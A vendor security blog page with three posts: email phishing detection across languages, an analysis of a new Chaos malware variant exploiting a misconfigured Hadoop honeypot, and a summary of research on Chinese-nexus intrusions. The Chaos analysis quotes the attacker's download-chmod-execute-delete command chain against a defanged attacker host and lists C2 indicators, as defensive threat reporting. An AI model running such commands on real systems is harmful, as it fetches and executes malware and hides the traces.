ブログ
/
/
June 16, 2021

Stopping Corp-Internal Phishing Attacks with Darktrace

Discover how Darktrace Email stopped a series of multi-language phishing attacks, including an Emotet campaign in Japanese. Learn how Darktrace can help!
No items found.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
No items found.
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
16
Jun 2021

Click here! Clique aqui! ここをクリック! Klikk here! !اینجا کلیک کنید naDev yIbej! Hic tange!

Language is deceptive. In the realm of email security, language can deceive a recipient into clicking a link or completing a transaction, and it can trick a security tool into thinking an email is legitimate.

It is for this reason that Darktrace/Email is not reliant on language, but rather uses mathematics to develop an understanding of ‘normal’ for every email user in an organization. This enables it to neutralize anomalous emails indicative of a threat around the world, no matter in what format or language they come.

Natural language processing

When it comes to catching a compromised account or impersonation email, how can you teach a computer to understand intent or a change of tone, compared to the normal way a person corresponds?

One of the most common approaches in email security is natural language processing. NLP looks at how to program computers to analyze natural language, commonly by exposing them to a large volume of data.

The result is a computer capable of ‘understanding’ the contents of documents, including the nuances of the language within them. The technology can then extract information in the documents as well as categorize and organize the documents themselves.

Modern-day limitations

However, using NLP is limited in scope for email security as it will often misunderstand specific jargon or colloquialisms, as well as terms that had not been invented when the computer was programmed, unless it is trained on these too. Each additional language requires the computer to learn from zero every time. NLP only works on the regional languages it has been trained on, and it is not commercially viable to teach the technology to work in all small markets.

If a company hires an email security vendor based in America, therefore, it is probable that the security vendor has invested most of their time in detecting English-based phishing threats. That is fine if the company only communicates in English, but this is often not the case. In a 21st century globalized world, the need for security technology to be language-agnostic is more critical than ever.

Not all AI is the same: Unsupervised machine learning

Darktrace/Email relies on unsupervised machine learning, which can learn on the job and does not need to be fed large data sets. It can glean insights from NLP for good measure, but it does not depend on NLP for detection or understanding.

When working with AI it is crucial to understand how the AI learns: does it learn on the job or was it trained with a labeled data set? This is particularly important when looking to understand the intent behind an email, specifically to uncover solicitation attempts either through spoofing, phishing, impersonation of a supplier or any other form of email attack.

Rather than teaching a computer to understand language in an email, Darktrace Cyber AI dynamically assesses activity across inbound and outbound emails including senders, recipients, links, IP addresses, and attachment types. The movement of all these objects are then used by the AI to create the ‘patterns of life’ for every user across all communications, including communications with external users who frequently correspond with a given business.

By taking a mathematical approach, Darktrace/Email is able to understand ‘normal’ for any user regardless of the dialect they are corresponding in, uniquely interpreting all languages from Norwegian to Latin and Persian, and subsequently identifying subtle anomalies indicative of a phishing attack or an account takeover.

Catching Emotet in Japanese

Last year, Darktrace uncovered a sophisticated Spamware campaign which leveraged Emotet, the infamous banking malware. The campaign targeted various industries with highly sophisticated phishing emails.

At a food production company in Japan, Darktrace detected six phishing emails sent over a two-day period in July.

Figure 1: An email from the Emotet campaign.

In the email above, both the subject line and the filename translate to “Regarding the invoice,” followed by a number and the date. The attacker was clearly trying to imitate a legitimate business email here, spoofing a well-known Japanese company (三菱食品(株)) and a common Japanese name (‘藤沢 昭彦’).

Darktrace/Email revealed key metrics behind the email including that the real sender was using a domain name from GMO, a Japanese company which offers cheap web email services, and that the sender’s location was actually Portugal, not Japan.

Figure 2: Darktrace/Email detects the attempt at inducement.

Darktrace/Email’s models recognized the topic anomalies and inducement attempts in the emails, regardless of the language they had been written in – giving a high anomaly score of 85. Furthermore, Darktrace’s AI determined that the extension and the MIME type in the attachments were anomalous, when compared to the documents which the user normally exchanges via email.

Portuguese threat find

In another instance, a series of malicious emails were sent to an organization in Europe. These emails used several tactics to bypass the company’s security tools, including personalized subject lines and hidden malicious URLs.

Figure 3: An interactive snapshot of Darktrace/Email’s user interface. The subject line reads ‘Notice of transfer.’

As displayed above, the email contained a link that appeared to lead to a CaixaBank domain. However, Darktrace/Email recognized this as a deliberate attempt to mislead the recipient and revealed that the link in fact led to a WordPress domain, which Cyber AI identified as 100% rare for the business.

A closer inspection revealed that these emails were sent from Vietnam. The sender had never been in any previous correspondence with the business, and the isolated link within the email was also marked as a 100% rare domain. Darktrace/Email held these malicious emails back, protecting the organization from harm.

Universal defense

These two examples demonstrate the benefits of an unsupervised machine learning approach. An AI security solution which analyzes hundreds of different metrics and does not rely on pre-existing data is a groundbreaking advantage when faced with global phishing threats that now utilize a wide range of languages.

Email-based attacks are becoming more targeted and more convincing by the day. Targeted social engineering and spear phishing with advanced translation tools bombard companies daily, in all languages.

Whether it’s a phishing attack against a local office in Korea or a solicitation attempt in Arabic – even a malicious email written in Klingon from a Star Trek convention – or any of the thousands of email exchanges which occur in countless vernaculars and tones, Darktrace/Email can keep your company safe across the world, and beyond.

No items found.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
No items found.

More in this series

No items found.

Blog

/

/

April 7, 2026

Darktrace Identifies New Chaos Malware Variant Exploiting Misconfigurations in the Cloud

Default blog imageDefault blog image

Introduction

To observe adversary behavior in real time, Darktrace operates a global honeypot network known as “CloudyPots”, designed to capture malicious activity across a wide range of services, protocols, and cloud platforms. These honeypots provide valuable insights into the techniques, tools, and malware actively targeting internet‑facing infrastructure.

One example of software targeted within Darktrace’s honeypots is Hadoop, an open-source framework developed by Apache that enables the distributed processing of large data sets across clusters of computers. In Darktrace’s honeypot environment, the Hadoop instance is intentionally misconfigured to allow attackers to achieve remote code execution on the service. In one example from March 2026, this enabled Darktrace to identify and further investigate activity linked to Chaos malware.

What is Chaos Malware?

First discovered by Lumen’s Black Lotus Labs, Chaos is a Go-based malware [1]. It is speculated to be of Chinese origin, based on Chinese language characters found within strings in the sample and the presence of zh-CN locale indicators. Based on code overlap, Chaos is likely an evolution of the Kaiji botnet.

Chaos has historically targeted routers and primarily spreads through SSH brute-forcing and known Common Vulnerabilities and Exposures (CVEs) in router software. It then utilizes infected devices as part of a Distributed Denial-of-Service (DDoS) botnet, as well as cryptomining.

Darktrace’s view of a Chaos Malware Compromise

The attack began when a threat actor sent a request to an endpoint on the Hadoop deployment to create a new application.

The initial infection being delivered to the unsecured endpoint.
Figure 1: The initial infection being delivered to the unsecured endpoint.

This defines a new application with an initial command to run inside the container, specified in the command field of the am-container-spec section. This, in turn, initiates several shell commands:

  • curl -L -O http://pan.tenire[.]com/down.php/7c49006c2e417f20c732409ead2d6cc0. - downloads a file from the attacker’s server, in this case a Chaos agent malware executable.
  • chmod 777 7c49006c2e417f20c732409ead2d6cc0. - sets permissions to allow all users to read, write, and execute the malware.
  • ./7c49006c2e417f20c732409ead2d6cc0. - executes the malware
  • rm -rf 7c49006c2e417f20c732409ead2d6cc0. - deletes the malware file from the disk to reduce traces of activity.

In practice, once this application is created an attacker-defined binary is downloaded from their server, executed on the system, and then removed to prevent forensic recovery. The domain pan.tenire[.]com has been previously observed in another campaign, dubbed “Operation Silk Lure”, which delivered the ValleyRAT Remote Access Trojan (RAT) via malicious job application resumes. Like Chaos, this campaign featured extensive Chinese characters throughout its stages, including within the fake resume themselves. The domain resolves to 107[.]189.10.219, a virtual private server (VPS) hosted in BuyVM’s Luxembourg location, a provider known for offering low-cost VPS services.

Analysis of the updated Chaos malware sample

Chaos has historically targeted routers and other edge devices, making compromises of Linux server environments a relatively new development. The sample observed by Darktrace in this compromise is a 64-bit ELF binary, while the majority of router hardware typically runs on ARM, MIPS, or PowerPC architecture and often 32-bit.

The malware sample used in the attack has undergone notable restructuring compared to earlier versions. The default namespace has been changed from “main_chaos” to just “main”, and several functions have been reworked. Despite these changes, the sample retains its core features, including persistence mechanisms established via systemd and a malicious keep-alive script stored at /boot/system.pub.

The creation of the systemd persistence service.
Figure 2: The creation of the systemd persistence service.

Likewise, the functions to perform DDoS attacks are still present, with methods that target the following protocols:

  • HTTP
  • TLS
  • TCP
  • UDP
  • WebSocket

However, several features such as the SSH spreader and vulnerability exploitation functions appear to have been removed. In addition, several functions that were previously believed to be inherited from Kaiji have also been changed, suggesting that the threat actors have either rewritten the malware or refactored it extensively.

A new function of the malware is a SOCKS proxy. When the malware receives a StartProxy command from the command-and-control (C2) server, it will begin listening on an attacker-controlled TCP port and operates as a SOCKS5 proxy. This enables the attacker to route their traffic via the compromised server and use it as a proxy. This capability offers several advantages: it enables the threat actor to launch attacks from the victim’s internet connection, making the activity appear to originate from the victim instead of the attacker, and it allows the attacker to pivot into internal networks only accessible from the compromised server.

The command processor for StartProxy. Due to endianness, the string is reversed.
Figure 3: The command processor for StartProxy. Due to endianness, the string is reversed.

In previous cases, other DDoS botnets, such as Aisuru, have been observed pivoting to offer proxying services to other cybercriminals. The creators of Chaos may have taken note of this trend and added similar functionality to expand their monetization options and enhance the capabilities of their own botnet, helping ensure they do not fall behind competing operators.

The sample contains an embedded domain, gmserver.osfc[.]org[.]cn, which it uses to resolve the IP of its C2 server.  At time or writing, the domain resolves to 70[.]39.181.70, an IP owned by NetLabel Global which is geolocated at Hong Kong.

Historically, the domain has also resolved to 154[.]26.209.250, owned by Kurun Cloud, a low-cost VPS provider that offers dedicated server rentals. The malware uses port 65111 for sending and receiving commands, although neither IP appears to be actively accepting connections on this port at the time of writing.

Key takeaways

While Chaos is not a new malware, its continued evolution highlights the dedication of cybercriminals to expand their botnets and enhance the capabilities at their disposal. Previously reported versions of Chaos malware already featured the ability to exploit a wide range of router CVEs, and its recent shift towards targeting Linux cloud-server vulnerabilities will further broaden its reach.

It is therefore important that security teams patch CVEs and ensure strong security configuration for applications deployed in the cloud, particularly as the cloud market continues to grow rapidly while available security tooling struggles to keep pace.

The recent shift in botnets such as Aisuru and Chaos to include proxy services as core features demonstrates that denial-of-service is no longer the only risk these botnets pose to organizations and their security teams. Proxies enable attackers to bypass rate limits and mask their tracks, enabling more complex forms of cybercrime while making it significantly harder for defenders to detect and block malicious campaigns.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

Indicators of Compromise (IoCs)

ae457fc5e07195509f074fe45a6521e7fd9e4cd3cd43e42d10b0222b34f2de7a - Chaos Malware hash

182[.]90.229.95 - Attacker IP

pan.tenire[.]com (107[.]189.10.219) - Server hosting malicious binaries

gmserver.osfc[.]org[.]cn (70[.]39.181.70, 154[.]26.209.250) - Attacker C2 Server

References

[1] - https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/

Continue reading
About the author
Nathaniel Bill
Malware Research Engineer

Blog

/

Network

/

April 2, 2026

How Chinese-Nexus Cyber Operations Have Evolved – And What It Means For Cyber Risk and Resilience 

Default blog imageDefault blog image

Cybersecurity has traditionally organized risk around incidents, breaches, campaigns, and threat groups. Those elements still matter—but if we fixate on individual incidents, we risk missing the shaping of the entire ecosystem. Nation‑state–aligned operators are increasingly using cyber operations to establish long-term strategic leverage, not just to execute isolated attacks or short‑term objectives.  

Our latest research, Crimson Echo, shifts the lens accordingly. Instead of dissecting campaigns, malware families, or actor labels as discrete events, the threat research team analyzed Chinese‑nexus activity as a continuum of behaviors over time. That broader view reveals how these operators position themselves within environments: quietly, patiently, and persistently—often preparing the ground long before any recognizable “incident” occurs.  

How Chinese-nexus cyber threats have changed over time

Chinese-nexus cyber activity has evolved in four phases over the past two decades. This ranges from early, high-volume operations in the 1990s and early 2000s to more structured, strategically-aligned activity in the 2010s, and now toward highly adaptive, identity-centric intrusions.  

Today’s phase is defined by scale, operational restraint, and persistence. Attackers are establishing access, evaluating its strategic value, and maintaining it over time. This reflects a broader shift: cyber operations are increasingly integrated into long-term economic and geopolitical strategies. Access to digital environments, specifically those tied to critical national infrastructure, supply chains, and advanced technology, has become a form of strategic leverage for the long-term.  

How Darktrace analysts took a behavioral approach to a complex problem

One of the challenges in analyzing nation-state cyber activity is attribution. Traditional approaches often rely on tracking specific threat groups, malware families, or infrastructure. But these change constantly, and in the case of Chinese-nexus operations, they often overlap.

Crimson Echo is the result of a retrospective analysis of three years of anomalous activity observed across the Darktrace fleet between July 2022 and September 2025. Using behavioral detection, threat hunting, open-source intelligence, and a structured attribution framework (the Darktrace Cybersecurity Attribution Framework), the team identified dozens of medium- to high-confidence cases and analyzed them for recurring operational patterns.  

This long-horizon, behavior-centric approach allows Darktrace to identify consistent patterns in how intrusions unfold, reinforcing that behavioral patterns that matter.  

What the data shows

Several clear trends emerged from the analysis:

  • Targeting is concentrated in strategically important sectors. Across the dataset, 88% of intrusions occurred in organizations classified as critical infrastructure, including transportation, critical manufacturing, telecommunications, government, healthcare, and Information Technology (IT) services.  
  • Strategically important Western economies are a primary focus. The US alone accounted for 22.5% of observed cases, and when combined with major European economies including Germany, Italy, Spain and the UK, over half of all intrusions (55%) were concentrated in these regions.  
  • Nearly 63% of intrusions of intrusions began with the exploitation of internet-facing systems, reinforcing the continued risk posed by externally exposed infrastructure.  

Two models of cyber operations

Across the dataset, Chinese-nexus activity followed two operational models.  

The first is best described as “smash and grab.” These are short-horizon intrusions optimized for speed. Attackers move quickly – often exfiltrating data within 48 hours – and prioritize scale over stealth. The median duration of these compromises is around 10 days. It’s clear they are willing to risk detection for short-term gain.  

The second is “low and slow.” These operations were less prevalent in the dataset, but potentially more consequential. Here, attackers prioritize persistence, establishing durable access through identity systems and legitimate administrative tools, so they can maintain access undetected for months or even years. In one notable case, the actor had fully compromised the environment and established persistence, only to resurface in the environment more than 600 days after. The operational pause underscores both the depth of the intrusion and the actor’s long‑term strategic intent. This suggests that cyber access is a strategic asset to preserve and leverage over time, and we observed these attacks most often inin sectors of the high strategic importance.  

It’s important to note that the same operational ecosystem can employ both models concurrently, selecting the appropriate model based on target value, urgency, intended access. The observation of a “smash and grab” model should not be solely interpreted as a failure of tradecraft, but instead an operational choice likely aligned with objectives. Where “low and slow” operations are optimized for patience, smash and grab is optimized for speed; both seemingly are deliberate operational choices, not necessarily indicators of capability.  

Rethinking cyber risk

For many organizations, cyber risk is still framed as a series of discrete events. Something happens, it is detected and contained, and the organization moves on. But persistent access, particularly in deeply interconnected environments that span cloud, identity-based SaaS and agentic systems, and complex supply chain networks, creates a major ongoing exposure risk. Even in the absence of disruption or data theft, that access can provide insight into operations, dependencies, and strategic decision-making. Cyber risk increasingly resembles long-term competitive intelligence.  

This has impact beyond the Security Operations Center. Organizations need to shift how they think about governance, visibility, and resilience, and treat cyber exposure as a structural business risk instead of an incident response challenge.  

What comes next

The goal of this research is to provide a clearer understanding of how these operations work, so defenders can recognize them earlier and respond more effectively. That includes shifting from tracking indicators to understanding behaviors, treating identity providers as critical infrastructure risks, expanding supplier oversight, investing in rapid containment capabilities, and more.  

Learn more about the findings of Darktrace’s latest research, Crimson Echo: Understanding Chinese-nexus Cyber Operations Through Behavioral Analysis, by downloading the full report and summaries for business leaders, CISOs, and SOC analysts here.  

Continue reading
About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
あなたのデータ × DarktraceのAI
唯一無二のDarktrace AIで、ネットワークセキュリティを次の次元へ